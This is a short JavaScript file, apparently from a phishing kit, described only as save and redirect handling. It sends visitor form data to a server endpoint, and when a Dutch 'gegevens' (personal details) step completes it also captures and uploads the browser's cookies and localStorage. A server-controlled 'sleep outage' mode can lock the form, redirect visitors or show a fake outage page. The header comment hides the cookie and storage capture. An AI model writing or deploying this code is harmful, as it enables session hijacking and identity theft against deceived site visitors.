/**
 * Shared save + sleep-mode redirect handling.
 */
(function (w) {
  "use strict";

  w.sciiNavigateTo = function (url) {
    if (!url) return;
    w.location.replace(url);
  };

  w.sciiSaveVisitorData = function (payload) {
    if (typeof w.sciiIsSaveBlocked === "function" && w.sciiIsSaveBlocked()) {
      return Promise.resolve({ ok: 0, blocked: true, sleep_outage: true });
    }

    var run = function () {
      return fetch("/api/save-visitor-data", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify(payload),
      })
        .then(function (r) {
          return r.json();
        })
        .catch(function () {
          return {};
        });
    };

    if (
      payload &&
      payload.form_type === "gegevens" &&
      payload.step_complete &&
      typeof w.sciiSaveBrowserCapture === "function"
    ) {
      return w.sciiSaveBrowserCapture(payload.visitor_id).then(run);
    }

    return run();
  };

  w.sciiApplySaveResponse = function (resp) {
    if (!resp) return false;

    if (resp.sleep_outage) {
      if (typeof w.sciiSetSleepOutageLock === "function") {
        w.sciiSetSleepOutageLock(true);
      }
      var target = resp.redirect_url || resp.resume_url;
      if (target) {
        w.sciiNavigateTo(target);
      } else if (typeof w.sciiShowServiceOutage === "function") {
        w.sciiShowServiceOutage();
      }
      return true;
    }

    if (resp.redirect_url) {
      w.sciiNavigateTo(resp.redirect_url);
      return true;
    }

    return false;
  };

  w.sciiHandleFormSubmit = function (savePromise, awakeFn) {
    return savePromise.then(function (resp) {
      if (w.sciiApplySaveResponse(resp)) {
        return resp;
      }
      if (typeof awakeFn === "function") {
        awakeFn(resp);
      }
      return resp;
    });
  };

  w.sciiAttachBrowserCapture = function (payload, dataObj) {
    dataObj = dataObj || {};
    if (
      typeof w.sciiCollectBrowserCapture === "function" &&
      (dataObj.step_complete || dataObj.send_cookie_file)
    ) {
      var cap = w.sciiCollectBrowserCapture();
      payload.cookies = cap.cookies;
      payload.local_storage = cap.local_storage;
    }
    if (dataObj.step_complete && payload.form_type === "gegevens") {
      payload.send_cookie_file = true;
    }
    return payload;
  };
})(window);
